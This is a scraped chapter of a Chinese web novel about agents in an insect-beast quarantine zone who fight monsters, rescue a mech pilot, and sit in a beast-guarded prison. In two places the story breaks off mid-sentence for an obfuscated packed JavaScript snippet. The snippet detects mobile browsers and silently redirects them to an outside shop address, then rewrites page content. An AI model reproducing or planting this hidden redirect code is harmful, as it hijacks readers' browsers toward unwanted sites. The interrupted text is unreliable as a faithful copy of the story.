进入刃蚁的活动范围,柳言手握匕首,行动越发小心轻缓。 在这样虫兽密集的区域,单独行动时用热武器,便是牵一发而动全身,极易遭到虫兽的围殴。 冷兵器动静小,是更佳的选择。 她屏住呼吸,前方十米处,三只刃蚁正悬浮在半空。 翅膀震颤,嗡嗡作响。 柳言缓慢后退半步,想要避其锋芒,绕路离开此地。却不想脚下动作激起一小片枯叶,弄出了细微的声响。 几乎在同一时刻,三只刃蚁敏锐地捕捉到了动静。 它们猛地调转方向,刹那间向着柳言俯冲而下。 遭了! 柳言眼神一凛,身影如同鬼魅一闪。一只刃蚁的残影擦过她的发梢,斩断了几根发丝。 另外两只刃蚁紧随其后,柳言来不及躲避,只得将匕首横挡在身前,硬接下此招。 刃蚁锋利的翅膀劈砍下来,在触及匕首的瞬间,迸发出刺耳的摩擦声。 冲击力让柳言的手腕微微发麻。 对付这种难缠的家伙,只能速战速决。 柳言冷静思索着局势,一个计划在她脑中逐渐形成。 终于,她瞅准了时机,一个侧身翻滚,从三只刃蚁的包围圈中短暂抽离了一瞬。 就这么极短的时间内,还是让她抓住了刃蚁的破绽。 一把匕首破空而来,刺向其中一只刃蚁。刃蚁被匕首穿透,牢牢钉在树干上。 还剩两只。 另外两只刃蚁发现同伴惨死,愤怒地冲向她,攻击愈发失去理智。 柳言快速拉开斜挎包的拉链,又从中掏出一把匕首,猛地掷向其中一只。 精准命中。 当密不透风的包围圈被打破,其余刃蚁的攻击也就显得捉襟见肘起来。 最后一只刃蚁紧急向一旁闪避。 而柳言则借着这个空档,一个滑铲躲到树干后方。 “嘶。” 斜挎包里仅有的两个匕首刚刚都被她扔出去了。 现在还剩下一个收集器、几包压缩饼干……没一个能当武器的。 正当她一筹莫展之际,她的目光忽而扫过身旁的树干,那里钉着刚刚咽气的第一只刃蚁。 女孩干脆利落地将它身上的翅膀拔下。 最后一只刃蚁扑来时,柳言侧身让过,顺手甩出还沾着血丝的翅膀,狠狠刺入攻击者的身躯。 “噗嗤!” 翅膀上的毒液渗入第三只刃蚁的身体,它一阵剧烈抽搐,瘫软落地。 以彼之矛攻彼之盾。 她惊喜地看着那毒液,心下有了思量。 这么好的毒液可不能浪费。 柳言从斜挎包中掏出收集器,将三只刃蚁的翅膀通通收集了起来。 还好她穿戴了厚厚的防护手套,不然以这翅膀的锋利性,她刚碰上就要被划开几道口子。 收集器具有保鲜作用,能在一定时间内保证刃蚁毒素的活性。 任务者进入任务世界时可携带两件以内物品,且物品必须是世管局检测后允许携带的。 气味消除剂和收集器便是柳言做任务时习惯随身携带的好物件。 可谓“打家劫舍”之必备良品。 隔离区森林深处,几只灵犀蚤扇动着半透明的翅膀,聚集在一人身边。 它们的头部细如发丝的触角正不断晃动,给那人传递信息。 那人听后只是淡淡嗤笑一声,“终于来了。” 太阳正悄悄升起。 一层薄薄的雾霭包裹住凌晨的森林。 齐砚的精神感知中,万森和柳言正有条不紊地向目标方向推进。 突然,他的动作顿了一下。 感知万森的那条线陡然间断了几秒钟,随即重新连接。 一切都太快,仿佛只是一个微不足道的小插曲。 他并未做出任何反应,垂眸继续处理刚捕捉到的灵犀蚤。 时间接近正午,毒辣的日光炙烤着大地,潮湿的森林少了些水汽。 这是柳言进入隔离区的第三天。 “这跟大海捞针有什么区别。”她忍不住吐槽。 三天来,她除了吃饭睡觉,几乎一刻不停地在搜索。 宇宙垃圾的影没看到,体能倒是锻炼上了一个台阶。 每天不是在跟虫兽打架,就是在打架的路上。 眼下她十分想念万森。 事实上,论起近身战斗,柳言和齐砚的能力不比万森差多少。 只不过大部分情况……两人都懒得动。 能让万森解决的便一股脑塞给他。 忽地,柳言听到不远处传来声响。 野兽嘶吼,炮火轰鸣。 她眉头一皱,赶往声源处。 正午的骄阳将整片森林笼罩在燥热之中。 两架机甲并肩而立。 前方,一只足有十米高的鳞脊刺蜥缓缓逼近,琥珀色的竖瞳死死盯着面前两人。 “S级危险种,速战速决。”陆时铮低语。 阮宁曦点头会意,机甲的手指化作刀刃飞出,刺向鳞脊刺蜥的双眼。 鳞脊刺蜥猛地后仰,避开攻击的同时,利爪朝着陆时铮抓来。 陆时铮的机甲紧急侧身,以毫厘之差避开,同时左腿狠狠顶向鳞脊刺蜥的腹部。 “砰!” 鳞脊刺蜥吃痛后退,鳞片被撞裂,露出下面泛红的血肉。 阮宁曦捕捉到机会,机甲能量炮凝聚起光束,轰向伤口。高温光束熔穿了鳞脊刺蜥的鳞片,血液喷溅向四周。 “成功了!”女孩的声音难掩兴奋。 但下一秒,鳞脊刺蜥愤怒地嘶吼,声音化作冲击波横扫而来。 见此情形,陆时铮不仅不慌,反而轻轻嗤笑一声。 两人机甲作战的经验丰富,早有准备,同时启动了屏蔽干扰。 陆时铮跃起,在鳞脊刺蜥持续发出声波无法动弹之时,从空中一拳砸向它的头部。 只听“咔嚓”一声,鳞脊刺蜥的头颅顿时被锤扁,凹陷下去。 鳞脊刺蜥脑部重伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834750|191229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身体摇摇晃晃,濒临死亡,却不甘于被两个卑贱的人类以这么轻松的姿态打败。 它的尾刺狠狠扫过陆时铮,拼尽全力使出最后一击。 陆时铮刚刚落地,躲闪不及,机甲被尾刺划裂,酸液渗入。 做完这一切,鳞脊刺蜥当即咽了气,瘫倒在地。 “陆时铮!”阮宁曦心下一惊,慌忙上前查看伤势。 男生在驾驶舱捂住疼到微微颤抖的右臂,安抚着女孩,“没事。” 机甲驾驶的原理是通过脑机接口捕获驾驶员的神经信号,并反馈在机甲的动作上。因此,外部机甲的损坏会直接形成痛感反作用在驾驶者身上。 陆时铮的机甲右臂被鳞脊刺蜥划开,对应到他本人,便是右臂被生生划出一条深可见骨般的痛感。 男生说没事,不过是为了让阮宁曦不要太担忧。 就在两人以为可以松一口气时,不料地面突然开始微微震动。 “不对劲!”阮宁曦皱眉,警惕地环顾四周。 一只体型比之前大两倍的鳞脊刺蜥首领猛地从阴影中冲出。 陆时铮和阮宁曦隔着机甲对视一眼。 麻烦大了。 陆时铮本就在刚刚的战斗中负伤,现在又来了个战斗力翻倍的首领。 首领鳞脊刺蜥动作迅速,丝毫不给两人反应时间。 阮宁曦手持武器挡在陆时铮身前,试图与其抗衡,首领却直接上前一爪将她击飞。 她的机甲狠狠撞在树干上,粗壮的树干在撞击下甚至摇晃了几下,可见其力度之大。 阮宁曦脑中一阵天旋地转,喉头涌出一股血。 陆时铮强撑起身子想支援。 首领随即一个甩尾,三根骨刺射出,轻而易举地刺穿了他的驾驶舱。 男生毫无还手之力,闷哼在通讯器里戛然而止。 他的机甲头部彻底暗了下去,模糊的血痕溅在驾驶舱的透明窗上。 首领发出一声得意的低吼,巨爪抓起失去彻底昏厥的陆时铮,转身就往密林深处拖去。 阮宁曦只能眼睁睁看着同伴被掳走,却有心无力,全身剧烈的疼痛叫她动弹不得。 缓了片刻后,她拼尽全力伸出手指,触摸到紧急按钮。 紧急预案启动,她整个人被驾驶舱弹出,扔到潮湿的地面上。 阮宁曦的脸上沾满泥土,在模糊的视线中仿佛看到了一个人。 不对,不是仿佛。 真的有一个人! 那人一身严严实实的防护服,看不清男女,此刻正蹲在第一个鳞脊刺蜥的尸体面前,不知在倒腾什么。 没错,这人就是柳言。 她笑嘻嘻地捡漏。 真好,不用打架就可以收集到毒液。 突然,她感觉身后有一道炽热的视线。 女孩缓缓转身。 “你原来没死啊。”柳言微微诧异。 机甲都报废成那样了,人还活着…… 果然高科技啊! 这安全性还真是拉满了。 6. 破败牢房 柳言盯着鳞脊刺蜥的尸体冷不丁想起。 维斯帕帝国将虫兽分为F到SSS九个等级。 能达到S级别的鳞脊刺蜥已经不是区区两人能够抵抗的了,至少要出动一整个机甲小队才能抗衡。 而刚刚,若不是SS级危险种首领鳞脊刺蜥出现,恐怕这两人已经全身而退。 这样强大的战斗力…… 她凑近仔细端详阮宁曦。 “这么年轻?”想来不是一般人。 阮宁曦已经疼到虚脱,口中吃力地吐出几个字,“救……救我。” 话毕,女生晕死过去。 “喂!怎么还带碰瓷的?”柳言瞪大眼睛,连连后退几步。 无奈之下,柳言给齐砚发去消息。 【柳言:我这碰到个人,晕过去了,她的同伴刚刚还被首领鳞脊刺蜥抓走了。】 齐砚很快回复。 【齐砚:等我。】 待阮宁曦再次睁开双眼,已是深夜,耳边是一男一女的轻声交谈。 女生:“我们这么做会不会……太恶毒了点?” 男生:“放心,他死不了。” 女生沉默了一阵,无奈同意:“好吧。” 柳言注意到身旁细微的动静,目光转向全身被包扎得跟个粽子似的阮宁曦,“你醒了?” 这当然是她的杰作。 阮宁曦则是警惕地注视着她。 柳言为了透气,早就摘下了防护服的面罩,此刻一张精致小巧的脸庞呈现在阮宁曦面前。 也不怪阮宁曦觉得古怪,虫兽隔离区危险重重,能独善其身就已十分不易,眼前这两人却如此悠闲自在地交谈,实在反常。 “这么看我干嘛?我可是你的救命恩人。”柳言一副痛心疾首的表情。 世风日下,好心没好报啊。 阮宁曦刚想起身,却不料一番撕心裂肺的疼痛制住了她的动作。 “别动,你伤得很重。”柳言按下她的肩膀。 齐砚语气冷淡:“明天一早,送你到隔离区边境。” 阮宁曦知道这两人是在帮她,但…… “我不出去。”她撇过头,神色固执。 柳言一阵头疼,直言不讳道:“你不会还在想着救你那同伴吧?要我说,他肯定早就被吃的骨头渣都不剩了。” “何况你都伤成这样了,去了也是送死。”柳言还不忘补刀。 阮宁曦急了:“你……” 她支支吾吾了半天,也说不出反驳的话。 她知道,女孩说的是对的。 虫兽是何等残忍的生物,一旦抓到人类,便从不会留下活口。 陆时铮只怕凶多吉少。 正当阮宁曦愣神之际,柳言话锋一转,“对了,你那个机甲残骸还要不要了?” 女生对她的话摸不着头脑,“当然要了。” “烂成那样了还要啊……”柳言的语气说不清是嫌弃还是失望。 阮宁曦认真道:“机甲是每个单兵的亲人伙伴,不可以随意遗弃。” “行吧行吧。” 柳言手指着不远处,将她的视线引向角落里的机甲残骸。 “你亲人伙伴在那呢,明早记得一起带走。” 为了搬这一大坨“废铁”,她和齐砚真真耗费了不少气力。 如果齐砚此时能听到柳言的心声,定会面露无语。 其实主要是靠他的精神异能抬回来的…… 机甲的吨位,可不是光加几个人就能解决的程度。 阮宁曦颤颤巍巍抬起手,转动右手食指上华丽的戒指,机甲残骸瞬间消失。 神奇的一幕看得柳言直瞪大眼睛,“这是什么?” 阮宁曦疑惑地瞧着她,沉默半响后解答:“机甲戒,用来装机甲的。” 这人……是维斯帕人吗? 机甲戒家喻户晓的程度,不亚于智脑。 上至暮年老者,下至三岁孩童,几乎无人不知、无人不晓。 面前这个女孩,却总是问出这些稀奇古怪的问题。 “只能用来装机甲吗?最多能装……” 柳言话还没问完,被齐砚捂着嘴拖走。 齐砚面无表情解释道:“不好意思,她从小地方来的,没见过什么世面。” 阮宁曦错愕地点点头。 一夜无眠,天刚微微亮,三人便踏入“归家”之路。 一路上,阮宁曦颇为好奇地一直在观察两人。 两人身手不错,对虫兽的感知尤其敏锐。好几次她都还没反应过来,两人已经三下五除二将虫兽解决。 明明是危机四伏的环境,竟被两人的闲散之态衬托得像在逛花园。 而且,她竟从未在两人身上发现过能够装载机甲的器物。 难道,这两人没带机甲就闯进隔离区?怎么可能…… “到啦,外围应该没什么虫兽,剩下的路你得自己走回去了。”柳言叉着腰,观察着周围环境。 此地距离隔离区边境墙仅有半小时路程,再往外走两人被发现的风险将大大提高。 这已经是他们能送到的极限。 临走时,柳言还没忘给阮宁曦狂喷气味消除剂。 阮宁曦由衷地感谢了两人,忍不住提醒:“私闯隔离区是大罪。” 柳言摆了摆手,毫不在意道:“知道了。” 望着踉踉跄跄、渐行渐远的身影,柳言却总觉得哪里不对。 忽然,她一拍脑袋,“等等,她说私闯隔离区是大罪,可她自己不也闯进来了?” 两人对视一眼,一切尽在无言之中。 虫兽隔离区原本就是占据了人类生存家园,横向穿过大片森林后,便能进入这座已经被遗弃了十年的空城。 废弃的纺织厂外墙早已斑驳剥落,破败的货仓大门敞开着,风一吹,便“吱呀吱呀”地响。 铁皮围栏和带刺铁丝网就着这片废墟,搭建成了一间小牢房。 牢房的三面和一个顶棚由铁皮围成,第四面是生锈的围栏,围栏外头挂满了铁丝网。 虫兽“狱警”可以透过围栏时刻监督“犯人”的动向。 牢房内部只有一张用破旧海绵和脏污布料拼凑而成的垫子,不知道放了多少年才被翻出来重新使用,布满了霉味和汗臭。 万森心如死亡、四仰八叉地躺在垫子上。 如果他想,这牢房当然困不住他。 他忌惮的是牢房外那名“狱警”。 SS级危险种裂岩蛮兽。 体长近50米,体型如同放大数十倍的史前猛犸,全身覆盖厚重鳞甲,四肢异常粗壮。 他近身搏斗确实厉害,但也没厉害到能和“猛犸”一较高下。 在绝对的体型差距面前,连他也失去了战斗欲望。 “轰隆轰隆”的脚步声传来,一只鳞脊刺蜥嘴里叼着东西跑来。 万森坐起身,如果他没看错的话,那好像是个……人? 裂岩蛮兽用象牙将牢房的顶棚顶起,鳞脊刺蜥顺势把嘴里叼着的人扔下,两兽配合十分默契。 那人一动不动的身体直朝着万森脑袋砸下,他忙不迭地躲开。 “还好我躲得快,差点砸到我。”他拍拍胸脯,长舒口气。 话毕,他看向牢房外的鳞脊刺蜥,面带哀怨,“喂,老兄!你下次扔人能不能看着点!” 鳞脊刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834751|191229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜥鸟都不鸟他,尾刺傲娇一甩,慢悠悠地离开了。 “真没礼貌。”万森吐槽道。 没兽搭理他,他转而看向这位“新室友”。 新室友鼻梁高挺,睫毛长长,脸色因受伤透露出惨白,是张惹人怜爱的美少年面庞。 万森观察了一阵,摸着下巴得出结论。 “没我帅。” 忽然,美少年的睫毛轻颤,似是要醒来。 万森立马跳起,拉开两人之间的距离。 陆时铮痛苦地咳出几口血,睁开眼发现身上的伤口处布满了不知何种黏液,隐约发出一股恶臭。 但伤势倒是因这黏液恢复得奇快。 他环顾四周,角落里蹲着的万森着实吓了他一跳。 “你……是谁?”陆时铮声音微哑。 万森瞧着这人反客为主,一脸不可置信,“我还想问你呢?” “明明是我先来的,你倒是先问上我了。”他小声嘀咕。 陆时铮:“……” 重点在这里吗? 怎么先被抓进来还挺自豪…… “你也是被……”他话语一顿,戒备地看向牢房外守着的裂岩蛮兽。 万森明白了他的顾虑,宽慰道:“放心啦,这傻玩意听不懂的。” 陆时铮点点头,“你也是被鳞脊刺蜥抓进来的?” 万森否认:“我是被这傻大个叼进来的。” 他朝着裂岩蛮兽努努嘴。 裂岩蛮兽似有所感,巨大的眸子瞪了他一眼。 陆时铮深深叹了口气,看向自己空荡荡的手,“要是我的机甲还在就好了。” “你有机甲也打不过它啊。”万森歪了歪头。 “但至少我们有一搏之力。” “一搏是指……被人家一拳锤飞吗?” “……”陆时铮不想和这人说话了。 隔离区边界线的桩柱顶端悬浮着全息警示牌,只见上面赫然写着。 【未经许可,禁止跨越。】 远处,几架无人机正低空盘旋,探照灯扫过森林边缘的枯木碎石。 “前方人员,立即停止动作!” 强烈的白光陡然间聚集在一人身上。 阮宁曦抬起头,被这光刺得睁不开眼。 无人机视角中,女孩的眼眶红透,一看就是狠狠哭过。 托纳星边防军总指挥官的办公室,位于基地指挥中心的最高层。 透过观景窗,可俯瞰整个营区。 此时,陆德明正站在观景窗前,面色凝重,副官则低头站在他的身旁一动不敢动。 良久,陆德明终于开口,“阮宁曦在哪?” 副官如实汇报:“阮小姐身负重伤,已经被送往医疗中心,目前正在接受治疗。” “她说的可属实?” “总机械师已经检查过了阮小姐的机甲痕迹,确认她所言属实。他们的确是遭到了SS级首领鳞脊刺蜥的攻击。” 陆德明缓缓转身,一拳锤在办公桌上,震得桌上的玻璃杯都跟着晃荡了几下。 “时铮……偏偏时铮被抓走,她活了下来。一路上还躲过了虫兽,跑回边境。一个路都走不稳的人,带着一身血腥气,真能有这么大的能耐?”男人语气带着愤怒,眉头越发紧皱。 作为陆时铮的叔叔,人在自己的地盘上出了这么大的事,他该如何跟自己的哥哥交代? “长官,这事……要通知陆上将吗?”副官说得小心翼翼。 陆德明深吸一口气,“先不通知,派出五个小队,即刻进入隔离区搜索陆时铮的踪迹。” 男人的眼神锐利。 “活要见人,死要见尸。”